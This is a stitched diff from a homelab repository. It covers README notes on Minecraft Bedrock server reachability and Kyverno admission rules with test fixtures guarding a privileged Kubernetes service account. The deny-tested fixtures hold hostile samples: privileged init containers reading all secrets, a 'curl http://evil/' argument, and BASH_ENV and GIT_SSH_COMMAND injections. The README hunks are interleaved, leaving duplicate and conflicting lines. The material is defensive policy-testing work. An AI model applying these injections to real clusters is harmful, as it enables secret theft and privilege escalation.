is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
Bedrock client version in use before committing.
### Bedrock realities that are NOT platform defects but present identically
- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
`external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
is correct for Bedrock too — only the port differs from Java's 25565.
- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
`bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
`192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
after the first; LAN discovery cannot work here anyway (above).
- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
`service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
`server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
`19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
previously said.
## Policies
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
@@ -383,48 +114,14 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
`/crafty/app/config` and `/crafty/servers` without EACCES.
3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
`192.168.2.22:25565`) from the LAN and confirm the world loads.
4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
failure signature:
1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
**no UDP listener at all**.
2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
`nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
`allowlist.json == []` refuses **every** player with *"You are not invited to play on this
server"* while the server is otherwise perfectly reachable. In the panel console:
`allowlist add <Gamertag>`.
5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
`19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
**Two log messages appear on a fully working server and must be ignored:** BDS's
`================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
## Runtime state: the servers themselves are NOT in git
As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
| Name | Type | Port | UUID | `auto_start` |
|---|---|---|---|---|
| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
(`strategy: Recreate`). PATCH both to true and read them back.
`homelab` was created through Crafty's v2 API, and **Mojang's
As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
DECISIONS-LOG entry of that date.
@@ -435,10 +132,6 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
heap sizes, `auto_start` / `crash_detection`.
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
**the generated world**. The jar is re-downloadable; the world is not.
**`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
*the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
"nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
@@ -142,3 +142,236 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -19,20 +19,48 @@ resources:
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
# 2am against the live cluster. `good-run` remains the minimal shape.
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -1,4 +1,76 @@
# The committed shape — must be ADMITTED.
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
securityContext:
runAsNonRoot: true
runAsUser: 65532
fsGroup: 65532
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
# BY SECRET NAME ONLY — and as env, not as a volume.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
containers:
- name: chainsaw
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
workingDir: /workspace/src/conformance
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
@@ -152,3 +224,241 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}